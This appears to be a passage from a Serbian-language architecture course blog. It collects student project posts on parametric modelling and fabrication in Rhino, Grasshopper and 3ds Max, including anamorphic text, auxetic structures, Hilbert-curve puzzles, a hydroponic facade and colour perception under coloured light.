2: Odlučili smo se za metodu korišćenja referentne tačke (point), odnosno pravca projiciranja i texta koji smo extrudovali putem istog, tako da se on u jednom momentu preseče sa strukturom (Brep), tako da se na mestu preseka oslika reč.

3pooo

Problem: Ono što mi je predstavljalo problem bio je presek, odnosno Boolean operacije, tako da sam morala svaki sloj pomeriti za određenu vrednost ka drugom, kako bi “ušao” u njega, ali isto tako i proveriti da li je svaki sloj zatvoren odnosno SOLID.

 

3-4: Neke od inspiracija koje su mi poslužile za odabir same reči i konkretnog prostora

1723cade95a7f34c86b5593e5cf76684 727d248dfa1e50832a6609ce25c3d56b

Zaključak:

Smatram da sam uspela da zadovoljim svoje kriterijume sa početka, kao i da opravdam hipotezu koju sam postavila.

Moguće je uklopiti zakrivljene elemente i anamorfnu reč, međutim, isto tako mislim da radi što boljeg finalnog rešenja, treba porazmisliti o povećanju broja slojeva i njihovoj debljini pažljivo, kao i strukturi koja se na početku definiše – o stepenu zakrivljenosti elemenata i njihovom položaju.

Krajnji rezultat:

798

Posted in 23/24 Radovi, Opšte | Comments Off on Primena anamorfnih reči na zakrivljanim formama – faza III

Dovođenje sunčeve svetlosti objektu kojem drugi objekat blokira svetlost- faza III

Realizacija istraženog u programima

Prethodnim istraživanjem došla sam do oblika optičkog tela i indeksa refrakcije. Dalje sam posmatrala slučaj kada je zrak pod 45 stepeni i po uzoru na simulaciju modelovala staklo koje bi prelamalo zrake i postavila na ivicu objekta u programima 3dsMax i Sketchup .

3ds Max

Postavljajući Vray sunce pod 45 stepeni i dodavanje telu materijal stakla sa indeksom refrakcije 1,5 analizirala sam render. Uporedila sam 3 situacije: bez staklenog tela, sa telom manjih i sa telom većih dimenzija.

Slika 1: Bez optičkog tela

vray bez stakla sa nebom poslednje

 

Slika 2: Sa optičkim telom manjih dimenzija

vray sa staklom manjim sa nebom

 

Slika 3: Sa optičkim telom većih dimenzija

vray sa staklom uvecanim sa nebom

Nažalost nisam uočila nikakvu promenu senki u renderu, što znači da program ne može da prelama zrake na ovaj način.

Sketchup

Proverila sam slučaj i u ovom programu, gde sam podesila vreme jesenje ravnodnevnice oko 12h kada su zraci odgovarajući i ponovo postavila optičko telo.

Slika 1: Bez optičkog tela

bez stakla

Slika 2: Sa optičkim telom manjih dimenzija

small

malo staklo

Slika 3: Sa optičkim telom većih dimenzija

big

veliko staklo 2

Zaključak je ponovo isti, bez promene na renderu.

 

 

Posted in 23/24 Radovi | Comments Off on Dovođenje sunčeve svetlosti objektu kojem drugi objekat blokira svetlost- faza III

Modelovanje šolje animiranog lika Groot-a u 3ds Max-u – Faza III

U nastavku modelovanja bavila sam se detaljima na samoj šolji. Počela sam sa pravljenjem udubljenja za usta i oči, a zatim i modelovanjem istih.

usta oci

Zatim sam dodala i dršku za šolju.

drska

 

Došla sam do konačnog izgleda šolje.

groot1

Zaključak:

Hipoteza je bila tačna, moguće je izmodelovati šolju u obliku Groot-a u 3ds Max-u koja bi se mogla koristiti i u stvarnom životu. Prilikom rešavanja zadatka naišla sam na dosta prepreka. Bilo je lako napraviti formu šolje u obliku njegove glave, ali i ne toliko lako kada su na red došli detalji, tj pravljenje očiju, usta i ostalih neravnina. Dokazala sam da se vremenski dosta brzo može doći do same forme šolje, ali pak za sve ostale pojedinosti je potrebno malo više vremena.

 

Posted in 23/24 Radovi | Comments Off on Modelovanje šolje animiranog lika Groot-a u 3ds Max-u – Faza III

Modelovanje jednodelne rasklopive drvene strukture primenom Miura folda – faza 3

Kao rezultat, dobijena složena forma se i kao papirni model i kao forma kojoj je dodata debljina može saviti dovoljno da ispuni početni zahtev.Screenshot_16Screenshot_18

Varijacija 1

Kod prve varijacije se šablon preneo na zakrivljenu površinu – primer paviljonske strukture.

Kao rezultat se dobije forma koja ima mogućnost da isprati oblik površine, ali do problema dolazi prilikom sklapanja gde nije moguće dovesti formu do potpunog suzbijanja kao pri originalnoj formi.

Screenshot_21Screenshot_22Screenshot_24

Varijacija 2

U narednoj varijaciji je promenjena osnova forme tako da sada ne ukljucuje sve paralelograme, vec i nepravilne forme.

Rezultat je forma koju program nije mogao sklopiti do kraja, jer se strane preklapaju.

Screenshot_15Screenshot_25

Varijacija 3

Osnova je forma iz varijacije 2, ali se sada prenosi na zakrivljenu površinu.

Formu je moguće saviti u oblik površine, s tim da se odredjene strane saviju nepravilno, ali kao i u prethodnom primeru, nije je moguće sklopiti.

Screenshot_14Screenshot_13

 

Zaključak: dok je forma u osnovi simetrična, moguće je napraviti strukturu koja će biti lako sklopljiva. U slučajevima kada se ta forma prebacuje na zakrivljenu površinu, dolazi do ograničenja u vidu sklopivosti, a kada se formi promene početni parametri tako da ne bude simetrije, dolazi do većih odstupanja.

 

Posted in 23/24 Radovi, Opšte | Comments Off on Modelovanje jednodelne rasklopive drvene strukture primenom Miura folda – faza 3

Modelovanje i fabrikacija kućice za jazavičara – faza 3

Nastavak istraživanja različitih tipova waffle strukture, u cilju pronalaska najpovoljnijeg oblika celokupne kućice, kao i pojedinačnih elemenata za fabrikaciju. Nakon završetka i realizacije ovog istraživanja, drvenoj strukturi se kasnije dodaju ‘čičak’ trake na dnu, kako bi se ona povezala sa starom kućicom (tanka, mekana prostirka, malo veće osnove od osnove krovne strukture kako bi korisnik mogao da boravi i na i ispod nje).

   Manje uspešne opcije pre pronalaska finalnog oblika.

  Pronalazak 2 najpovoljnija rešenja – osnovna noseća konstrukcija krovnog pokrivača kućice je ista, dok se drugi sloj strukture razklikuje u veličini i obliku elemenata.

 Poređenje 2 finalna oblika na osnovu izgleda i profitabilnosti izrade. Opcija a) predstavlja čvršću strukturu, ali su dimenzije potrebne šperploče za izradu veće nego kod opcije b).

  Konačno je izabrana opcija a), sa zaključkom da su neznatno skuplji materijal i malo komplikovanija fabrikacija vredni oblika koji ova opcija donosi – kućica je čvršća, te postoje manje šanse da se slomi i time joj je životni vek duži nego opciji b).

piramida prioriteta    Piramida prioriteta pokazuje koji uslovi korisnika su u kojoj meri ispunjeni.                      Deo za žvakanje u konačnom rešenju predstavlja stara kućica, što nije apsolutno povoljno rešenje iz higijenskih razloga. Kuća jeste prenosiva od strane vlasnika korisnika, ali taj proces zahteva malo više vremena i truda (rasklapanje i pakovanje drvenih delova).

render 2 konacni  Finalni izgled cele nove kućice sa korisnikom u njoj.

Zaključak: da, moguće je projektovati i napraviti kvalitetan krevet za jednog psa jazavičara, ali se pritom ipak ne mogu 100% zadovoljiti sve njegove preferencije i potrebe.

Posted in 23/24 Radovi, Opšte | Comments Off on Modelovanje i fabrikacija kućice za jazavičara – faza 3

Modelovanje auxetic navlaka za torbe i/ili rančeve sa ciljem adaptiranja na različite oblike i zapremine istih- Faza 3

Na uzorku papira debljine 1mm smo primenili patern iz Grasshopper i Rhino programa (o kojem je bilo reči u prethodnom postu) i laserskim putem isekli i testirali različite varijacije ovog paterna.

varijacije

Primeri varijacija: Promene parametara dimenzija isečaka (Arc)

Naime, primetili smo da što je manji razmak između isečaka (Arc), odnosno što je dužina isečaka veća, pri jačem širenju papira doći će do pucanja i samim tim deformacije paterna na papiru.

deformacija1

Deformacija papira usled suviše malog razmaka između isečaka- velika dužina isečaka (Arc)

Sa druge strane, ukoliko je razmak između isečaka veći, odnosno ukoliko je dužina isečaka manja, pri širenju papira, neće doći ni do kakve promene. Čak i ako uzmemo i iz sve snage raširimo papir, isečeni delovi se ni u tom slučaju neće promeniti, dok će se, međutim, sam papir prisilno iscepati.

Idealno rešenje se nalazi negde na sredini. Dakle, ukoliko želimo da se isečeni delovi lepo rašire, bez ikakve deformacije, moramo pronaći zlatnu sredinu i modifikovati parametre koji se tiču dužine lukova i širine njihovih međusobnih rastojanja.

dobar je

Širenje papira- pri čemu ne dolazi do deformacija ili cepanja papira

 

 

Posted in Opšte | Comments Off on Modelovanje auxetic navlaka za torbe i/ili rančeve sa ciljem adaptiranja na različite oblike i zapremine istih- Faza 3

Ispitivanje opažanja boje predmeta pod različitim izvorima svetlosti – Faza III

U ovoj fazi istraživanja biće primenjene informacjie dobijene prethodnom fazom istraživanja na većem primeru. Kao predmet posmatranja uzet je objekat Georges Pompidou centar u Parizu zbog svog šarenolikog kolorita.

Pompidu

Pošto je u prethodnoj fazi istraživanja pokazano da je moguće promeniti boju predmeta koji se opaža, u ovoj fazi istraživanja vrednovaćemo ciljanu promenu boje predmeta koji se opaža. Kriterijum će biti korišćenje monohromatske svetlosti jedne boje na celom objektu u cilju postizanja određenog kolorita. Kao ciljani kolorit uzet je kolorit iz nasumično odabranog filma po sistemu sviđanja: Amélie (2001).

Amelie

Boja svetlosti potrebna za dobijanje predmeta boje kolorita filma dobijena je eksperimentalno.

pompidu_cmyk

 

Potrebno je primeniti žuto svetlo. Na žutom svetlu plava boja izgleda zeleno, a ostale boje se uklapaju u kolorit.

31_Pompidu Yellow105407220_3065826420129555_2511108701588603603_n

 

Render centra Georges Pompidou po danu, pod prirodnim osvetljenjem:

dnevni-min

 

Render centra Georges Pompidou po mraku sa dodatim izvorima svetla žute boje:

nocni

 

 Zaključak

Hipoteza da je moguće promeniti percepciju boje predmeta primenom adekvatnog osvetljenja je tačna, ali do neke mere. Moguće je promeniti boju predmeta samo u boje koje on sadrži. To znači da je moguće ljubičast predmet percipirati kao crven ili plav primenom crvenog ili plavog svetla respektivno jer se ljubičasta sastoji od crvene i plave, ali nije moguće percipirati ga kao zelenog pod bilo kojim osvetljenjem jer ljubičasta u sebi ne sadrži zelenu boju.

Na uspešnost promene boje predmeta osvetljenjem utiče i naša percepcija boje, što znači da je ona subjektivna. Predmeti bi trebali da budu različite boje pod različitim svetlostima jer se boja predmeta percipira kao svetlost koju predmet reflektuje. Međutim, mi predmete opažamo u određenoj boji, bez obzira na svetlost pod kojom se on nalazi, na osnovu našeg empirijskog znanja. Zbog toga postoji mogućnost da isti predmet različiti ljudi percipiraju u različitim bojama.

The_dress_blueblackwhitegold

Posted in 23/24 Radovi | Comments Off on Ispitivanje opažanja boje predmeta pod različitim izvorima svetlosti – Faza III

Ispitivanje osunčanosti objekata na primjeru rekonstruisane radne zone u Novom Sadu – faza 2 i zaključak

Princip koji je korišćen u prvoj fazi rada primjenjen je na čitav blok. Zatim je ubačena nova geopmetrija (dvije kule) koja baca sijenku na postojeće objekte. Na manjem segmentu urađeno je poređenje osunčanosti objekata sa i bez novih kula.

Zaključak: S obzirom da je osunčanost susjedne zgrade nakon dodavanja kula prešla u zelenu zonu, zaključuje se da pozicija i visina novih kula nije adekvatna. Da bi se ostvarila ravnomjerna osunčanost bloka potrebno je promjeniti visinu i/ili poziciju novih objekata.

Screenshot 2024-05-26 231751

1 2

 

 

Posted in Opšte | Comments Off on Ispitivanje osunčanosti objekata na primjeru rekonstruisane radne zone u Novom Sadu – faza 2 i zaključak

Ispitivanje opažanja boje predmeta pod različitim izvorima svetlosti – Faza II

Ispitivanje će se vršiti uz pomoć dve metode:

  1. Ispitivanje u software-u (V-ray i 3Ds max)
  2. Ispitivanje u okvirima realnosti pomoću LED svetala

 

Ispitavanje u V-ray-u

I)     Ispitivanje promene boje na predmetima osnovnih boja (crvena, zelena i plava,) pod izvorom monohromatske svetlosti.

rgb

Primećujemo da se pod svetlošću jedne boje vide samo predmeti koji su te boje, dok su ostali crni.


II)     Ispitivanje predmeta osnovnih boja pod izvorom svetlosti boje dobijene kombinacijom osnovnih boja (cyan, magenta, yellow).

cmyk

Primećuje se da se vide predmeti čija boja se sadrži u boji svetlosti.


 

III)     Ispitivanje predmeta obojenih u boje izvedene od osnovnih boja (cyan, magenta, yellow) pod svetlošću osnovnih boja.

cmyk_rgb

Primećujemo da se vide predmeti koji sadrže osnovnu boju kojom su obasjani.


IV)       Ispitivanje predmeta  obojenih u boje izvedene od osnovnih boja pod izvorima  svetlosti boja dobijenih kombinacijom osnovnih boja.

cmyk_cmyk

Primećujemo da se vide predmeti iste boje kao i boja svetlosti i predmeti koji sadrže boje od kojih je boja svetlosti sačinjena.


V)        Ispitivanje predmeta koji sadrže sve tri osnovne boje pod izvorom monohromatske svetlosti osnovnih boja.

pompidu_rgb

Primećujemo da se vide predmeti koji sadrže osnovne boje boje svetlosti i to u onom intenzitetu u kom predmeti sadrže tu boju.


VI)     Ispitavenje predmeta koji sadrže sve tri osnovne boje pod izvorom svetlosti boja dobijenih kombinacijom osnovnih boja.

pompidu_cmyk

VII)      Ispitivanje predmeta koji sadrže sve tri osnovne boje pod izvorima svetlosto koji takođe sadrže sve tri osnovne boje.

pompidu_pompidu

 

 

Ispitivanje pomoću LED svetla

Korićen je šablon sa nekim karakteristicnim bojama:

LED_Default

1. Nijanse sive

2. Cyan, Magenta i Yellow

3. Red, Green i Blue

4. Žuta, crvena, zelena i plava korišćene u prethodnom primeru u V-ray-u

5. i 6. Boja ljudske kože

7. Boja neba

8. Boja biljne vegetacije

 

Metodologija ispitivanja počinje kao i na prethodnom primeru: šablon se izlaže prvo dnevnoj svetlosti a zatim monohromatskim izvorima svetlosti crvene, zelene i plave boje respektivno.

LED_RGB

 

Ukoliko monohromatskoj svetlosti dodamo malo sekundarne monohromatske svetlosti druge boje, ta boja se opaža u slabom intenzitetu.

LED_nijanse plave

Ukoliko nastavimo da pojačavamo intenzitet sekundarne monohromatske svetlosti, pojačavaće se i intenzitet boje.

LED_Nijanse Zelene

 

 

 

ezgif-5-384d833829

Posted in 23/24 Radovi | Comments Off on Ispitivanje opažanja boje predmeta pod različitim izvorima svetlosti – Faza II

Modelovanje slagalica na osnovu Hilbertove krive (Fractal Puzzles) – faza 3

Treća faza projekta odnosi se pravljenje delova slagalice.

Na Hilbertovu krivu koja je napravljen, primenjen je offset sa obe strane kako bi se dobila debljina samog dela slagalice. Taj veliki deo se može podeliti na više manjih i dobiti delovi koji ne moraju biti isti.

Na ostatak koji ostaje primenjuje se ista metoda gde dobijamo delove koji su tanji.

delovi 1 delovi 2

Nakon izrade, može se dobiti više varijacija slagalice u zavisnosti od toga koliko puta se multiplicirala sama kriva.

Kroz različite varijacije može se govoriti o samoj težini sklapanja. Kako je svaka slagalica podeljena na 5 delova, dobijaju se različite “veličine”, tj. delovi krive u sve 3 varijacije. Što je gušće, to su delovi sitiniji i deo krive je “veći”.

Kako bi se na najbolji način predstavila sama težina sklapanja slagalice, merilo se vreme sklapanja svake slagalice određenom broju ljudi. Svaki učesnik je kretao sa najgušćom slagalicom, a završavao sa najkrupnijom. Najbolje srednje vreme je bilo kod slagalice u sredini, oko 2min i 30s, dok je za sklapanje najgušće slagalice trebalo najviše vremena, srednje vreme 4min. Za najkrupniju slagalicu je srednje vreme bilo 3min i 40s.

U daljem razgovoru sa učesnicima, bila su podeljena mišljenja, gde je polovina njih rekla da je najteža prva, a polovina njih treća slagalica.

 

Posted in 23/24 Radovi | Comments Off on Modelovanje slagalica na osnovu Hilbertove krive (Fractal Puzzles) – faza 3

Modularno spajanje vaza

Nakon modelovanja pojedinacnih vaza, do kraja zadatka ostalo je resiti dizajn vazi tako da  se one nakon nizanja jedna na drugu daju utisak da je u pitanju jedna vaza

modularno sklapanje vaza

Na levom primeru iako bi dizajn vaza interesantnije izgledao pojedinacno, zajedno sa ostalim vazama se ne uklapa jer se vidi jasna razlika iz prelaza sa jedne vaze na drugu, dok na desnom primeru 4 pojedinacne vaze vizuelno cine jednu. Takodje horizontalne linije vizuelno stavaraju sliku da je vaza malo sira i stoga ne odlazi previse u visinu.

 

modularno spajanje vaza 4modularno spajanje vaza 2           Vaze su modelovane tako da se spajanjem bilo koje 2,3, ili 4, bilo kojim redom mogu spojiti, tako da ce se naci odgovarajuca dubina za odgovarajuce cvece bez potrebe da im se seku stabljike.

Sa tim u vezi hipoteza jeste tacna jer su vaze funkcionalne i mogu se koristiti zajedno i odvojeno.

Posted in Opšte | Comments Off on Modularno spajanje vaza

Faza 3 – Modelovanje hidroponske fasade primenom tesalacije

Tokom rada smo zakljucili da se cela procedura moze automatizovati, napraviti kod koji pravi celu fasadu u zavisnosti od zadatih parametara, nedostatak je sto kod nije usavrsen do kraja, cilj istrazivanja je ispunjen gde smo uspeli da napravimo fasadu koja ispunjava sve zadate kriterijume.

Dobijena je fasada sacinjena od modularnih panela cime se smanjuje utrosak materijala i trošak izrade. Dimenzije otvora na njoj nisu nasumicne vec su napravljene na osnovu dimenzija odabranih biljaka. Broj otvora moze da se menja po zelji.

Na slikama su prikazane dve varijante fasade-jedna sa većim a druga sa manjim brojem otvora.

fas 1fas 4

fas 2fas 3

Posted in Opšte | Comments Off on Faza 3 – Modelovanje hidroponske fasade primenom tesalacije

Modelovanje maske za telefon

694710ad40f043c5bfb0ffa5b62a8d49 A

Samu ideju za ovaj projekat pokusala sam da pronadjem na internetu posmatrajuci svetsko trziste. Htela sam da vidim sta je trenutno aktuelno i koji novi projekti su izlozeni za javnost. Kroz proucavanje za oko mi je zapao pantent firme Rhode. Ovu kompaniju osnovala je svetska zvezda Hailey Bieber i na trziste dovela inovativnu kolekciju kozmetickih proizvoda. Njeni proizvodi su postali izrazito popularni za javnost i dobila je nekolicinu pozitivnih komentara. Uz same proizvode patentirala je i jedan novitet koji do sada nije postojao za javnost. Liniju sjajeva za usta prilagodila je maski za telefon. Kreirana je maska koja svojim oblikom moze da na poledjini sluzi kao futrola za balzam za usta. Proizvod je izazvao veliki odjek u javnosti i mnogi su posegnuli da ga imaju i da ga koriste u svojoj svakodnevnici.

Na sajtu ova maska za telefon rasprodata je velikom brzinom. Proizvod je posle zbog velike potraznje opet doveden na trziste. Maska nije dostupna za se vrste i velicine telefona i njena cena je 35 dolara. Na samom sajtu se nalazi broj kupaca kao i komentari i ocena za proizvod. Prolazeci kroz kometare i ocene vidim da su kupci njime izrazito zadovoljni. Odgovara im oblik maske materijal od kojeg je napravljena jedina mana ovog proizvoda koja se ponavlja kroz vise komentara je da je sjaj za usne koji moze da stane na nju suvise mali. Vise od hiljadu ljudi je ostavilo svoj komentar na ovom proizvodu.

Ova maska je pokrenula pravu lavinu jer su razne firme pocele da prave proizvode nalik na ovaj. Zaziveo je neki nov nacin transporta razlicitih proizvoda na trzistu. Takodje napravljeni su i delovi koji mogu da se nakace na vec postojecu masku i time pridrzavaju neophodne predmete. Licno koristim svakodnevno sjajeve i balzame za usne i mislim da bi ovaj proizvod bio savrsen u mojoj svakodnevnici, a i svakodnevnici mojih bliznjih drugarica.

Dosla sam do velike kolicine pitanja i problema kroz ovaj projekat. Kako prosiriti makse da zadovoljavaju oblik vece kolicine telefona? Ovaj proizvod je dostupan samo za korisnike iphone telefona i to samo za najskorije verzije. Smatram da sama velicina ne predstavlja problem kod ovog pitanja i da su cak neke starije verzije telefona vece od tih novih za koje je proizvod dostupan. Cena maske? Za svetsko trziste cena mislim da i nije toliko visoka mada trebalo bi je donekle korigovati kako bi proizvod bio dostupan dodatnoj klienteli. Za sada njegova dostupnost je samo za visu klientelu. Materijal od kog je maska? Maska je gumena i po komentarima kupaca vidim da je izrazito mekane povrsine. Da li se taj materijal lako prlja, da li zapinje za tkaninu prilikom odlaganja telefona u dzep su neki od mojih pitanja. Na odabiru materijala treba biti jako precizan kako bi zadovoljio veliki broj parametara,a imao sto manje mana. Takodje treba uvesti i razlicite boje maski kako bi estecki maska bila lepsa i bolja za razlicite ljude. Da li proizvod odgovara ljudskoj ruci? Sam proizvod je velike debljine i predstavlja grguravu povrsinu koja zahteva da se na odredjen nacin drzi i koristi. Koliko ovaj proizvod smeta pri svakodnevnom koriscenju telefonskog uredjaja. Sama debljina telefona bi mogla da se koriguje ili da se oblik samog proizvoda koji pridrzava promeni. Da li proizvod ostaje na mestu pri koriscenju uredjaja? Kada se sjaj za usta postavi u kalup napravljen na masci koliko je on dobro oblikovan i  napravljen da sam proizvod zadrzi prilikom svakodnevnog koriscenja telefona.

Sumirajuci sve ove utiske dosla sam do proucanjavanja i same forme maske, kako patentirati i napraviti proizvod po mojim merama. Studiram arhitekturu i u mojoj struci postoje odredjeni predmeti koji su neophodni za kreiranje jednog projekta. Laptop je jedan od predmeta koji svakodnevno moramo da imamo kod sebe, pored njega postoje i pomocni proizvodi koji olaksavaju rad. Koliko god da sistem napreduje i da je sve pretvoreno u elektroniku i tehnologiju svakom arhitekti je uvek potrebna olovka i papir. Takodje napravljene su i pametne table i tableti na kojima mogu da se kreiraju razni vizuali uz pomoc smart olovke. Ovaj proizvod projekte dosta olaksava i cini ih vizualno lepsim. Zelela sam da napravim proizvod koji moze da pridrzava i prenosi olovku. Ovim bi smanjila kolicinu stvari koje nosimo za rad barem za malo i uvek bi svakom arhitekti pomogla da u bilo kojem momentu moze da skicira svoju ideju i pretvori je u realnost.

Proucavala sam razlicite metode za kreiranje ovog proizvoda i same procese modelovanja. Dosla sam do zakljucne forme koja se dobija naduvavanjem povrsine na osnovu predmeta koji naleze na samu povrsinu i time utiskuje neohodan oblik na nju. Ovim bi mogle da se kreiraju i maske koje podrzavaju i neke druge razlicite proizvode. Jer se prostor koji ih pridrzava kreira na osnovu njihovog samog oblika.

Kroz proucavanje svega dolazim do krajnjih zakljucaka. Proizvod mi na zalost nije dostupan fizicki za koriscenje time ne mogu da licno izucim njegovu funkciju. Takodje sam nacin modelovanja maske je probni proizvod koji bi morao da se testira da li odogovara ljudskoj ruci i da li zadovoljava sva ostala pitanja. Sve u svemu proizvod bi mogao da se napravi u vise varijanti i da se testira da li je dobar za javno trziste. Sagledajuci same reakcije na postojeci proizvod i kolicinu ljudi koja ga kupuje vidim da ima veliki potencijal i da dozivljava uspehe svakodnevno.

Moj proizvod je na osnovu uslova za analizu koji su mi pruzeni proucen do odredjene mere… Smatram da bi bio uspesan uz dodatne oglede koji bi morali da se izvrse.

Posted in Opšte | Comments Off on Modelovanje maske za telefon

Faza 3 – Modelovanje hidroponicke fasade primenom teselacije

-menjanje na osnovu parametara – fasada ima dosta varijacija koje su modularne i mogu da se menjaju na osnovu sirine, duzine biljke, kolicine otvora(procentualna popunjenost), mogu da se naprave izmene i na osnovu “seeda”
-diskusija o rezultatima –
-da li je hipoteza bila tacna – za sad deluje da je hipoteza tacna, ali jos nije dokazano dok se ne izradi

Posted in 23/24 Radovi | Comments Off on Faza 3 – Modelovanje hidroponicke fasade primenom teselacije

Faza 2: uporedna analiza parametara opisanih u prethodnoj fazi, na primeru flašice

U ovoj fazi istraživanja, fotografisana je flašica ispred bele pozadine, na dnevnom osvetljenju sa sledećim podešavanjima kamere:

NIKON D3100, 1/60 f4, exp mode, ISO 800, focal lenght 55mm, lens 55-200mm/ 4-5.6.

Ista podešavanja kamere su uvedena u program 3Ds Max.

FLASICAAA

Na ovom primeru, uviđam da se istim podešavanjem kamere i virtualne kamere ne dobija željeni efekat fotorealizma i razlika između fotografije i rendera je veoma uočljiva. Potrebno raditi na adekvatnom podešavanju svetla, dodatnoj postavci kamere i eventualnoj postprodukciji, kako bi rezultat bio bolji, a render verodostojniji fotografiji.

Takođe, dodatni korak u sledećoj fazi istraživanja nije samo upoređivanje parametara kamere i virtuelne kamere, već i diskusija o prednostima i manama izrade digitalne makete.

 

 

Posted in 23/24 Radovi | Comments Off on Faza 2: uporedna analiza parametara opisanih u prethodnoj fazi, na primeru flašice

Druga faza istrazivanja je usmerena na dobijanje slobodnostojeće forme paviljona i potpuno parametarsko modelovanje geodezijskih krivih.

Metode modelovanja:

1. Rhino – crtanje oblika paviljona u osnovi, određivanje otvora i oslonaca

2. Grasshopper – generisanje 3D modela uz pomoć Kangaroo2 plug-ina

FAZA I Modelovanje slobodnostojećeg paviljona

1. Uvodjenje krivih u Grasshopper podeljene na obim površi, otvore i oblasti koje određuju anker tačke. Generisanje planarne povrsi paviljona pomoću quad remesh alatke u okviru Grasshoppera.

3

2. Generisanje paviljona uz pomoc Kangaroo2 plug-ina i izdvajanje krivih

4

FAZA II Generisanje geodezijskih krivih

1. Prva metoda predstavlja postavljanje tačaka po obodu površine i po obodu otvora. Tačke na otvoru predstavljaju početak geodezijskih krivih i u njima se postavlja vektor koji ima normalan pravac u odnosu na tangentu. Tačka na obimu paviljona koja je najbliža pravcu vektora biće drugi kraj krive. Na ovaj način su dobijene geodezijske krive u jednom pravcu, ali je nepohodno da se one povežu kako bi paviljon mogao da stoji.

One su dobijene tako što sam u okviru Pufferfish plug-ina napravila koncentrične krive izmedju linije obima i otvora u osnovi i projektovala ih na površinu paviljona.

Mana ovog metoda je to što te koncentrične krive nisu geodezijske, i u nekim delovima čak nisu ni zakrivljene, nego se lome.

5

 

 

2.Drugi metod se zasniva na tome da sve geodezijske krive polaze iz ankera i povezuju se sa svim tačkama naspramne stranice paviljona. Ova metoda dovodi do boljih rezultata nego prva jer su sve krive zaista geodezijske, ali su previše guste i ne dobija se željeni oblik otvora.

6

Kako isprobane metode ne daju zadovoljavajuće rezultate, ostaje da se isproba metoda u kojoj se kombinuje manuelno modelovanje sa parametarskim, a uporedna analiza ovih metoda ujedno čini i poslednju fazu istraživanja.

Posted on by TamaraVulic | Comments Off on Faza 2 – dvostruko zakrivljene površi izvedene pomoću geodezijskih krivih

Faza 2 – Modelovanje i fabrikacija kocke koja projektuje željenu senku/sliku

Model napravljen u rhino+grasshopper jasno pokazuje da je uz pomoć oštrog  i upravnog osvetljenja moguće dobiti željenu sliku.

Fabrikacija ovakvog modela moguća je SLS metodom kao što su to već radili Drzach i Suchi. Mana ove metode je visoka cena izrade. Jeftinija varijanta bi bila FDM štampa ali ona je u ovom slučaju neizvodljiva zbog veoma tankih segmenata.

Zaključak je da je najoptimalnija metoda izrade SLA štampa kojom je moguće napraviti ovako kompleksan model i uz to je jeftinija od SLS metode.

Dobijanje različitih senki iz modela:

post1      —–>              post

 

 

 

yin-yang                             ——>               jing

 

 

Kod slozenijih slika primećuju se nesavršenosti pri verodostojnom projektovanju senke što znači da kod ima još prostora za unapređivanje.

 

Posted in 23/24 Radovi | Comments Off on Faza 2 – Modelovanje i fabrikacija kocke koja projektuje željenu senku/sliku

Modelovanje i ispitivanje adaptibilnosti i funkcionalnosti stress release predmeta primenom auxetic strukture-faza II

  1. Istraživanje polaznog šablona
  2. Formiranje modela koristeći 2d auxetic šablon u grasshopper-u
  3. Formiranje modela auxetic rešetke

 Metod rada: Rhino + Grasshopper

 1. Istraživanje polazog šablona 

Auxetic materijali

Istraživanje je usmereno na rotirajuće kvadratne strukture, koje predstavljaju dobar izbor za polazni šablon zbog svoje sposobnosti da efikasno apsorbuju energiju i pružaju visoku fleksibilnost. Ove strukture funkcionišu tako što se kvadratne jedinice rotiraju pod određenim uglom, što omogućava da se bočne strane skupljaju unutra pod pritiskom.  Rezultat ove deformacije je širenje u svim pravcima čime se postiže poboljšana otpornost na udarce i prilagodljivost.

2. Formiranje modela koristeći 2d auxetic šablon u grasshopper-u

Koncept modelovanja prvog modela zasniva se na generisanju dvodimenzionalnih auxetic šablona u različitim ravnima, njihovoj modifikaciji i kombinovanju kako bi se dobila jedinstvena trodimenzionalna struktura.

U ovom procesu, koristili smo rotirajuće kvadratne strukture kao osnovu.

Koristeći centar poligona, šablon je skaliran kako bi se postigle potrebne dimenzije i oblik. Ovo skaliranje nam je omogućilo da precizno kontrolišemo veličinu i proporcije šablona.

II korak III korak

Nakon skaliranja, spojili smo različite elemente u jedinstvenu oblast. Ovo je uklonilo sve unutrašnje granice između preklapajućih oblasti, stvarajući jedan čvrst i ujednačen oblik.

4

Zaobljenjem ivica smo eliminisali oštre uglove, čime smo postigli strukturalni integritet i sigurnost. Spojili smo različite segmente u jedinstven solid, što je omogućilo formiranje jedinstvene trodimenzionalne strukture.

V korak IV korak

Na kraju, alatkom “extrude” od dvodimenzionalnih oblika dobili smo trodimenzionalne strukture koje su zadržale sve karakteristike auxetic šablona.

Nakon toga sve je ponovljeno u XZ ravni kako bismo formirali drugi pravac prostiranja.

Nakon što smo dobili dva identična auxetic šablona u različitim ravnima (XY i XZ), kombinovali smo ih koristeći pristup koji se fokusira na preklapanje solidnih delova. Korišćenjem metode za presek solidnih delova, dobili smo jedinstvenu kocku koja sadrži auxetic otvore. Ovaj korak je omogućio integraciju dvodimenzionalnih šablona u jednu koherentnu trodimenzionalnu strukturu.

kocka 1 kocka3

kocka2grasshopper kod

Korišćenjem metode za presek solidnih delova, konkretno presek izabranog modela (u ovom slučaju sfere i cilindra) sa novonastalom auxetic kockom, moguće je dobiti različite oblike modela.

 sferacilindar

Problem

Konačni rezultat primene auxetic šablona prilikom modelovanja kocke je stabilan i funkcionalan model koji zadržava sva auxetic svojstva. Međutim, jedan od problema u ovom slučaju je velika potrošnja materijala samim tim visoka cena izrade ovog modela. Stoga bi bilo korisno razmotriti alternativne pristupe koji pružaju sličnu satisfakciju i funkcionalnost, ali sa optimizovanom formulacijom.

3. Formiranje modela auxetic rešetke

U istraživanju alternativnog pristupa, proučavana je rešetka, za koju se pretpostavlja da će zahtevati manju potrošnju materijala, dok istovremeno poseduje potrebne funkcije. Ovaj model se oslanja na detaljno sprovedeno numeričko istraživanje “Bending-Dominated Auxetic Materials for Wearable Protective Devices Against Impact”. Cilj je uporediti ovaj model s prethodnim, ukoliko imaju iste funkcionalne performanse, ovaj pristup može biti efikasan za izradu stabilnijih i cenovno slabijih stress release predmeta i zahteva dalje ispitivanje.

Razmatra se 3D rešetkasti materijal: re-entrant honeycomb. Njegovi regularni obrasci u mikrostrukturi definisani su jediničnim ćelijama prikazanim u sledećem prilogu.

Osnovna jedinica: 

osnovna jedinica

 

Dizajn omogućava lako povezivanje sa drugim jedinicama istog tipa, formirajući kontinuiranu rešetku, a istovremeno smanjuje potrošnju materijala bez gubitka mehaničkih svojstava, čime se smanjuju troškovi izrade.

Program korišćen za modelovanje ove strukture je Rhinoceros, u procesu je prvo formirana osnovna jedinica, koja je zatim umnožena kako bi se dobio model rešetke.

Umnozavanje osnovne jedince33

 

